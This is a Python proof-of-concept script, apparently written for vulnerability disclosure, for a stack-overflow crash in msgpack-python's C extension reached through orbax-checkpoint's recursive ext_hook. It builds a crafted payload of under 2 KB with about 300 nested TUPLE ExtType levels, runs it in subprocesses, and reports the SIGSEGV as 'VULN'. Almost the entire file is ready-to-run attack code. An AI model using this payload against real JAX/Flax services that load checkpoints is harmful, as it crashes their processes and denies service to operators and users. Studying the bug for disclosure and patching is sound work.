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poc.py
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| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
PoC: Stack Buffer Overflow (SIGSEGV) in msgpack-python C Extension
|
| 4 |
+
via Recursive ext_hook β Affects orbax-checkpoint (JAX/Flax Model Loading)
|
| 5 |
+
|
| 6 |
+
Vulnerability:
|
| 7 |
+
msgpack-python's C extension (_cmsgpack) does NOT enforce a recursion depth
|
| 8 |
+
limit when calling user-provided ext_hook callbacks. When an application uses
|
| 9 |
+
a recursive ext_hook (as orbax-checkpoint does for nested tuples), a crafted
|
| 10 |
+
msgpack payload with ~300 nesting levels causes a native stack overflow,
|
| 11 |
+
crashing the process with SIGSEGV.
|
| 12 |
+
|
| 13 |
+
The pure Python fallback is safe (Python's recursion limit catches it),
|
| 14 |
+
but the C extension β which is the DEFAULT β segfaults.
|
| 15 |
+
|
| 16 |
+
Impact:
|
| 17 |
+
- Any JAX/Flax application loading orbax checkpoints is vulnerable
|
| 18 |
+
- A crafted checkpoint file (< 2 KB) crashes the process with SIGSEGV
|
| 19 |
+
- This is a Denial of Service from a crafted model file
|
| 20 |
+
- SIGSEGV means no graceful error handling β the process is killed
|
| 21 |
+
|
| 22 |
+
Affected:
|
| 23 |
+
- msgpack-python (PyPI) β all versions with C extension (tested: 1.1.2)
|
| 24 |
+
- orbax-checkpoint (PyPI) β all versions using msgpack_utils (tested: 0.11.34)
|
| 25 |
+
- File: orbax/checkpoint/msgpack_utils.py, line 113-116
|
| 26 |
+
- Function: _msgpack_ext_unpack() β recursive ext_hook for TUPLE type
|
| 27 |
+
|
| 28 |
+
Root Cause:
|
| 29 |
+
orbax's _msgpack_ext_unpack (line 113-116) handles TUPLE ExtType by calling
|
| 30 |
+
msgpack.unpackb(data, ext_hook=_msgpack_ext_unpack) recursively. The msgpack
|
| 31 |
+
C extension processes this without any depth limit, so ~300 levels of nesting
|
| 32 |
+
overflow the native call stack β SIGSEGV.
|
| 33 |
+
"""
|
| 34 |
+
|
| 35 |
+
import struct
|
| 36 |
+
import sys
|
| 37 |
+
import subprocess
|
| 38 |
+
import tempfile
|
| 39 |
+
import os
|
| 40 |
+
|
| 41 |
+
BANNER = "=" * 70
|
| 42 |
+
|
| 43 |
+
# orbax TUPLE ExtType code
|
| 44 |
+
TUPLE_EXT_TYPE = 4
|
| 45 |
+
|
| 46 |
+
|
| 47 |
+
def build_nested_tuple_msgpack(depth: int = 300) -> bytes:
|
| 48 |
+
"""
|
| 49 |
+
Build a msgpack payload with deeply nested TUPLE ExtType containers.
|
| 50 |
+
|
| 51 |
+
Each level wraps the inner payload in:
|
| 52 |
+
ext8: 0xc7 <size:1> <type:1> <data>
|
| 53 |
+
or ext16/ext32 for larger payloads.
|
| 54 |
+
|
| 55 |
+
The TUPLE ext_hook in orbax recursively calls msgpack.unpackb on the data,
|
| 56 |
+
creating depth levels of C call stack frames.
|
| 57 |
+
"""
|
| 58 |
+
# Leaf: a msgpack fixarray with one fixint element [42]
|
| 59 |
+
# fixarray(1) = 0x91, fixint(42) = 0x2a
|
| 60 |
+
data = bytes([0x91, 0x2a])
|
| 61 |
+
|
| 62 |
+
for _ in range(depth):
|
| 63 |
+
inner_len = len(data)
|
| 64 |
+
if inner_len <= 255:
|
| 65 |
+
# ext8 format: 0xc7 + size(1 byte) + type(1 byte) + data
|
| 66 |
+
data = bytes([0xc7, inner_len, TUPLE_EXT_TYPE]) + data
|
| 67 |
+
elif inner_len <= 65535:
|
| 68 |
+
# ext16 format: 0xc8 + size(2 bytes BE) + type(1 byte) + data
|
| 69 |
+
data = bytes([0xc8]) + struct.pack('>H', inner_len) + bytes([TUPLE_EXT_TYPE]) + data
|
| 70 |
+
else:
|
| 71 |
+
# ext32 format: 0xc9 + size(4 bytes BE) + type(1 byte) + data
|
| 72 |
+
data = bytes([0xc9]) + struct.pack('>I', inner_len) + bytes([TUPLE_EXT_TYPE]) + data
|
| 73 |
+
|
| 74 |
+
return data
|
| 75 |
+
|
| 76 |
+
|
| 77 |
+
def test_segfault():
|
| 78 |
+
"""Test: SIGSEGV from nested TUPLE ExtType via orbax's ext_hook."""
|
| 79 |
+
print(BANNER)
|
| 80 |
+
print("TEST: Stack Overflow (SIGSEGV) via Nested TUPLE ExtType")
|
| 81 |
+
print(BANNER)
|
| 82 |
+
|
| 83 |
+
depth = 300
|
| 84 |
+
payload = build_nested_tuple_msgpack(depth)
|
| 85 |
+
print(f"[*] Payload size: {len(payload)} bytes ({len(payload)/1024:.1f} KB)")
|
| 86 |
+
print(f"[*] Nesting depth: {depth}")
|
| 87 |
+
print(f"[*] TUPLE ExtType code: {TUPLE_EXT_TYPE}")
|
| 88 |
+
|
| 89 |
+
# Save payload to file
|
| 90 |
+
payload_file = tempfile.NamedTemporaryFile(suffix='.msgpack', delete=False)
|
| 91 |
+
payload_file.write(payload)
|
| 92 |
+
payload_file.close()
|
| 93 |
+
|
| 94 |
+
# Run in subprocess to catch SIGSEGV
|
| 95 |
+
poc_script = f'''
|
| 96 |
+
import msgpack
|
| 97 |
+
import sys
|
| 98 |
+
|
| 99 |
+
# Simulate orbax's _msgpack_ext_unpack (line 103-116 of msgpack_utils.py)
|
| 100 |
+
def _msgpack_ext_unpack(code, data):
|
| 101 |
+
if code == {TUPLE_EXT_TYPE}: # TUPLE
|
| 102 |
+
return tuple(msgpack.unpackb(data, raw=False, ext_hook=_msgpack_ext_unpack))
|
| 103 |
+
return msgpack.ExtType(code, data)
|
| 104 |
+
|
| 105 |
+
with open("{payload_file.name}", "rb") as f:
|
| 106 |
+
payload = f.read()
|
| 107 |
+
|
| 108 |
+
print(f"Payload size: {{len(payload)}} bytes", flush=True)
|
| 109 |
+
print("Unpacking with recursive ext_hook (simulating orbax)...", flush=True)
|
| 110 |
+
result = msgpack.unpackb(payload, raw=False, ext_hook=_msgpack_ext_unpack)
|
| 111 |
+
print(f"Result: {{result}}")
|
| 112 |
+
'''
|
| 113 |
+
|
| 114 |
+
poc_file = tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False)
|
| 115 |
+
poc_file.write(poc_script)
|
| 116 |
+
poc_file.close()
|
| 117 |
+
|
| 118 |
+
print(f"\n[*] Running in subprocess (to catch SIGSEGV)...")
|
| 119 |
+
result = subprocess.run(
|
| 120 |
+
[sys.executable, poc_file.name],
|
| 121 |
+
capture_output=True, text=True, timeout=10
|
| 122 |
+
)
|
| 123 |
+
|
| 124 |
+
print(f"[*] Exit code: {result.returncode}")
|
| 125 |
+
if result.stdout:
|
| 126 |
+
for line in result.stdout.strip().split('\n'):
|
| 127 |
+
print(f" {line}")
|
| 128 |
+
|
| 129 |
+
os.unlink(payload_file.name)
|
| 130 |
+
os.unlink(poc_file.name)
|
| 131 |
+
|
| 132 |
+
if result.returncode == -11: # SIGSEGV
|
| 133 |
+
print(f"\n[!] VULNERABILITY CONFIRMED β SIGSEGV (Segmentation Fault)")
|
| 134 |
+
print(f" A {len(payload)}-byte msgpack payload crashes the process.")
|
| 135 |
+
print(f" No graceful error handling β the process is killed by the OS.")
|
| 136 |
+
return True
|
| 137 |
+
elif result.returncode < 0:
|
| 138 |
+
import signal
|
| 139 |
+
sig = -result.returncode
|
| 140 |
+
sig_name = signal.Signals(sig).name if sig in signal.Signals._value2member_map_ else f"signal {sig}"
|
| 141 |
+
print(f"\n[!] VULNERABILITY CONFIRMED β {sig_name}")
|
| 142 |
+
return True
|
| 143 |
+
else:
|
| 144 |
+
print(f"\n[-] No crash (unexpected)")
|
| 145 |
+
return False
|
| 146 |
+
|
| 147 |
+
|
| 148 |
+
def test_orbax_loading():
|
| 149 |
+
"""Test: Crash via actual orbax msgpack_restore."""
|
| 150 |
+
print(f"\n{BANNER}")
|
| 151 |
+
print("TEST: Crash via orbax.checkpoint.msgpack_utils.msgpack_restore()")
|
| 152 |
+
print(BANNER)
|
| 153 |
+
|
| 154 |
+
depth = 300
|
| 155 |
+
payload = build_nested_tuple_msgpack(depth)
|
| 156 |
+
|
| 157 |
+
payload_file = tempfile.NamedTemporaryFile(suffix='.msgpack', delete=False)
|
| 158 |
+
payload_file.write(payload)
|
| 159 |
+
payload_file.close()
|
| 160 |
+
|
| 161 |
+
poc_script = f'''
|
| 162 |
+
import sys
|
| 163 |
+
sys.stdout.write("Importing orbax...\\n")
|
| 164 |
+
sys.stdout.flush()
|
| 165 |
+
from orbax.checkpoint.msgpack_utils import msgpack_restore
|
| 166 |
+
sys.stdout.write("Calling msgpack_restore() on crafted payload...\\n")
|
| 167 |
+
sys.stdout.flush()
|
| 168 |
+
|
| 169 |
+
with open("{payload_file.name}", "rb") as f:
|
| 170 |
+
payload = f.read()
|
| 171 |
+
|
| 172 |
+
result = msgpack_restore(payload)
|
| 173 |
+
sys.stdout.write(f"Result: {{result}}\\n")
|
| 174 |
+
'''
|
| 175 |
+
|
| 176 |
+
poc_file = tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False)
|
| 177 |
+
poc_file.write(poc_script)
|
| 178 |
+
poc_file.close()
|
| 179 |
+
|
| 180 |
+
print(f"[*] Calling orbax.checkpoint.msgpack_utils.msgpack_restore()...")
|
| 181 |
+
result = subprocess.run(
|
| 182 |
+
[sys.executable, poc_file.name],
|
| 183 |
+
capture_output=True, text=True, timeout=30
|
| 184 |
+
)
|
| 185 |
+
|
| 186 |
+
print(f"[*] Exit code: {result.returncode}")
|
| 187 |
+
if result.stdout:
|
| 188 |
+
for line in result.stdout.strip().split('\n'):
|
| 189 |
+
print(f" {line}")
|
| 190 |
+
if result.stderr:
|
| 191 |
+
for line in result.stderr.strip().split('\n')[:5]:
|
| 192 |
+
print(f" stderr: {line}")
|
| 193 |
+
|
| 194 |
+
os.unlink(payload_file.name)
|
| 195 |
+
os.unlink(poc_file.name)
|
| 196 |
+
|
| 197 |
+
if result.returncode == -11:
|
| 198 |
+
print(f"\n[!] CONFIRMED β orbax.msgpack_restore() crashes with SIGSEGV")
|
| 199 |
+
return True
|
| 200 |
+
elif result.returncode < 0:
|
| 201 |
+
print(f"\n[!] CONFIRMED β orbax.msgpack_restore() crashes (signal {-result.returncode})")
|
| 202 |
+
return True
|
| 203 |
+
else:
|
| 204 |
+
print(f"\n[-] No crash")
|
| 205 |
+
return False
|
| 206 |
+
|
| 207 |
+
|
| 208 |
+
def test_pure_python_safe():
|
| 209 |
+
"""Verify: Pure Python fallback is safe (catches RecursionError)."""
|
| 210 |
+
print(f"\n{BANNER}")
|
| 211 |
+
print("TEST: Pure Python fallback handles this safely")
|
| 212 |
+
print(BANNER)
|
| 213 |
+
|
| 214 |
+
depth = 300
|
| 215 |
+
payload = build_nested_tuple_msgpack(depth)
|
| 216 |
+
|
| 217 |
+
poc_script = f'''
|
| 218 |
+
import msgpack
|
| 219 |
+
import msgpack.fallback as fallback
|
| 220 |
+
|
| 221 |
+
def _msgpack_ext_unpack(code, data):
|
| 222 |
+
if code == {TUPLE_EXT_TYPE}:
|
| 223 |
+
return tuple(fallback.unpackb(data, raw=False, ext_hook=_msgpack_ext_unpack))
|
| 224 |
+
return msgpack.ExtType(code, data)
|
| 225 |
+
|
| 226 |
+
with open("/dev/stdin", "rb") as f:
|
| 227 |
+
pass
|
| 228 |
+
|
| 229 |
+
import io
|
| 230 |
+
payload = {repr(payload)}
|
| 231 |
+
try:
|
| 232 |
+
result = fallback.unpackb(payload, raw=False, ext_hook=_msgpack_ext_unpack)
|
| 233 |
+
print(f"Result: {{result}}")
|
| 234 |
+
except RecursionError:
|
| 235 |
+
print("RecursionError caught β safe!")
|
| 236 |
+
except Exception as e:
|
| 237 |
+
print(f"Error: {{type(e).__name__}}: {{e}}")
|
| 238 |
+
'''
|
| 239 |
+
|
| 240 |
+
poc_file = tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False)
|
| 241 |
+
poc_file.write(poc_script)
|
| 242 |
+
poc_file.close()
|
| 243 |
+
|
| 244 |
+
result = subprocess.run(
|
| 245 |
+
[sys.executable, poc_file.name],
|
| 246 |
+
capture_output=True, text=True, timeout=10
|
| 247 |
+
)
|
| 248 |
+
|
| 249 |
+
os.unlink(poc_file.name)
|
| 250 |
+
|
| 251 |
+
if "RecursionError caught" in result.stdout:
|
| 252 |
+
print(f"[*] Pure Python fallback: RecursionError caught safely")
|
| 253 |
+
print(f" The C extension is the problem β it bypasses Python's recursion limit")
|
| 254 |
+
return True
|
| 255 |
+
else:
|
| 256 |
+
print(f" Exit code: {result.returncode}")
|
| 257 |
+
print(f" Output: {result.stdout[:200]}")
|
| 258 |
+
return False
|
| 259 |
+
|
| 260 |
+
|
| 261 |
+
if __name__ == "__main__":
|
| 262 |
+
print(f"Python: {sys.version}")
|
| 263 |
+
|
| 264 |
+
import msgpack
|
| 265 |
+
print(f"msgpack: {'.'.join(map(str, msgpack.version))}")
|
| 266 |
+
print(f"C extension: {hasattr(msgpack, '_cmsgpack')}")
|
| 267 |
+
|
| 268 |
+
try:
|
| 269 |
+
import orbax.checkpoint
|
| 270 |
+
print(f"orbax-checkpoint: {orbax.checkpoint.__version__}")
|
| 271 |
+
except Exception:
|
| 272 |
+
print("orbax-checkpoint: not installed (PoC still works with plain msgpack)")
|
| 273 |
+
|
| 274 |
+
print()
|
| 275 |
+
|
| 276 |
+
r1 = test_segfault()
|
| 277 |
+
r2 = test_orbax_loading()
|
| 278 |
+
r3 = test_pure_python_safe()
|
| 279 |
+
|
| 280 |
+
print(f"\n{BANNER}")
|
| 281 |
+
print("RESULTS")
|
| 282 |
+
print(BANNER)
|
| 283 |
+
print(f" SIGSEGV (C extension): {'VULN' if r1 else 'NOT VULN'}")
|
| 284 |
+
print(f" orbax.msgpack_restore(): {'VULN' if r2 else 'NOT VULN'}")
|
| 285 |
+
print(f" Pure Python (safe): {'SAFE' if r3 else 'UNKNOWN'}")
|
| 286 |
+
print()
|
| 287 |
+
print("Root cause: msgpack-python C extension (_cmsgpack) has no recursion")
|
| 288 |
+
print("depth limit when calling ext_hook callbacks. orbax-checkpoint uses a")
|
| 289 |
+
print("recursive ext_hook for TUPLE types. A crafted payload with ~300 nested")
|
| 290 |
+
print("TUPLE ExtTypes overflows the native stack β SIGSEGV β process crash.")
|
| 291 |
+
print()
|
| 292 |
+
print("Affected packages:")
|
| 293 |
+
print(" - msgpack (PyPI) β C extension has no depth limit")
|
| 294 |
+
print(" - orbax-checkpoint (PyPI) β recursive ext_hook in msgpack_utils.py")
|
| 295 |
+
print(" - Any JAX/Flax application loading checkpoints via orbax")
|